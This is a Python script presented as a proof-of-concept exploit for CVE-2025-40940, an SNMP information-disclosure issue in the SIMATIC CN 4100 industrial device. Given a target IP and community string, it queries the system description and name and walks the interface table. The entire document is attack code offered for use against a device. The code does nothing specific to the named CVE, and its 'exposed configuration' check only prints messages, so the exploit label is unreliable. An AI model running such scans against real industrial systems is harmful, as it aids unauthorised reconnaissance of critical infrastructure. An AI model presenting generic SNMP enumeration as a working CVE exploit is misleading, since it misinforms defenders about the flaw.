# CVE-2025-40940 PoC - SIMATIC CN 4100 SNMP Information Disclosure
# Description: Exploits inconsistent SNMP behavior to extract sensitive data
import socket
import sys
from pysnmp.hlapi import *
def snmp_get(community, target_ip, oid, version='2c'):
"""Send SNMP GET request to target device"""
iterator = getCmd(
SnmpEngine(),
CommunityData(community, mpModel=1 if version=='2c' else 0),
UdpTransportTarget((target_ip, 161)),
ContextData(),
ObjectType(ObjectIdentity(oid))
)
errorIndication, errorStatus, errorIndex, varBinds = next(iterator)
if errorIndication:
print(f"[ERROR] {errorIndication}")
return None
else:
for varBind in varBinds:
return str(varBind[1])
def snmp_walk(community, target_ip, oid_base, version='2c'):
"""Perform SNMP WALK to enumerate MIB tree"""
results = []
iterator = nextCmd(
SnmpEngine(),
CommunityData(community, mpModel=1 if version=='2c' else 0),
UdpTransportTarget((target_ip, 161)),
ContextData(),
ObjectType(ObjectIdentity(oid_base)),
lexicographicMode=False
)
for errorIndication, errorStatus, errorIndex, varBinds in iterator:
if errorIndication:
break
for varBind in varBinds:
results.append((str(varBind[0]), str(varBind[1])))
return results
def main():
if len(sys.argv) < 3:
print("Usage: python cve_2025_40940_poc.py <target_ip> <community_string>")
sys.exit(1)
target_ip = sys.argv[1]
community = sys.argv[2]
print(f"[*] Targeting {target_ip} - CVE-2025-40940 PoC")
print(f"[*] Testing SNMP service availability...")
# Test basic system info disclosure
sysDescr = snmp_get(community, target_ip, '1.3.6.1.2.1.1.1.0')
if sysDescr:
print(f"[+] System Description: {sysDescr}")
sysName = snmp_get(community, target_ip, '1.3.6.1.2.1.1.5.0')
if sysName:
print(f"[+] System Name: {sysName}")
# Enumerate interface info
print("[*] Enumerating network interfaces...")
ifTable = snmp_walk(community, target_ip, '1.3.6.1.2.1.2.2.1')
print(f"[+] Found {len(ifTable)} interface entries")
# Test for sensitive config exposure
print("[*] Checking for exposed configuration data...")
print("\n[!] Note: This PoC demonstrates SNMP information disclosure")
print("[!] Requires valid community string and high-privilege access")
if __name__ == "__main__":
main()